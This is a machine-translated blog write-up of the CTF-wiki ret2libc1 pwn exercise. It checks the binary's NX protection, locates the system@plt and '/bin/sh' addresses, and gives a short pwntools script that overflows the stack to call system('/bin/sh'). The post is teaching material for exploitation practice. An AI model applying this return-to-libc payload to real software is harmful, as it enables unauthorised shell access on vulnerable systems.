当前位置:网站首页>Learn PWN from CTF wiki - ret2libc1
Learn PWN from CTF wiki - ret2libc1
2022-07-05 23:49:00 【Big Ruida】
ret2libc
principle
perform libc Medium /bin/sh
step
First , Check the security protection of the program 
Turn on NX:no executable
( Non executable memory data pages )
( Can not make use of ret2text And ret2shellcode)
secondly , Check if there is /bin/sh

Check if there is system (segment yes plt, No extern)

/bin/sh, Is a string , Need to know the address .
system, Is a callable function , Need to know the address .
use system call /bin/sh that will do
So write payload, Addressing mode can be viewed Previous blogs , A fellow 112.
#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
call libc Format of function :
system_plt + 4 Bytes (32 Bit address ) + /bin/sh character string
Here we need to pay attention to the structure of the function call stack , If it is a normal call system function , When we call, there will be a corresponding return address , Here we use ’bbbb’ As a false address , The parameter content corresponding to the subsequent parameters .
This example is relatively simple , It also provides system Address and /bin/sh The address of , But most programs don't have such a good situation .
边栏推荐
- GFS Distributed File System
- C# Linq Demo
- Opencvsharp (C openCV) shape detection and recognition (with source code)
- Bao Yan notebook IV software engineering and calculation volume II (Chapter 8-12)
- STM32__ 06 - single channel ADC
- Problem solving win10 quickly open ipynb file
- 转:未来,这样的组织才能扛住风险
- 保研笔记四 软件工程与计算卷二(8-12章)
- rsync远程同步
- Part III Verilog enterprise real topic of "Niuke brush Verilog"
猜你喜欢

保研笔记一 软件工程与计算卷二(1-7章)

Part III Verilog enterprise real topic of "Niuke brush Verilog"

TVS管和ESD管的技術指標和選型指南-嘉立創推薦

Rasa 3. X learning series -rasa 3.2.1 new release

How to get all the values stored in localstorage

18.(arcgis api for js篇)arcgis api for js点采集(SketchViewModel)

STM32__06—单通道ADC

Rasa 3.x 学习系列-Rasa 3.2.1 新版本发布

Redis高可用——主从复制、哨兵模式、集群

CIS benchmark tool Kube bench
随机推荐
同事悄悄告诉我,飞书通知还能这样玩
多普勒效應(多普勒頻移)
帶外和帶內的區別
Naoqi robot summary 26
How to rotate the synchronized / refreshed icon (EL icon refresh)
JVM details
Open source CRM customer relationship system management system source code, free sharing
China Jinmao online electronic signature, accelerating the digitization of real estate business
Huawei simulator ENSP - hcip - MPLS experiment
2022.6.20-6.26 AI industry weekly (issue 103): new little life
Rasa 3.x 学习系列-Rasa 3.2.1 新版本发布
Russian Foreign Ministry: Japan and South Korea's participation in the NATO summit affects security and stability in Asia
C # input how many cards are there in each of the four colors.
Redis高可用——主从复制、哨兵模式、集群
C file and folder operation
Research notes I software engineering and calculation volume II (Chapter 1-7)
保研笔记四 软件工程与计算卷二(8-12章)
开源crm客户关系统管理系统源码,免费分享
Fiddler Everywhere 3.2.1 Crack
98. Verify the binary search tree ●●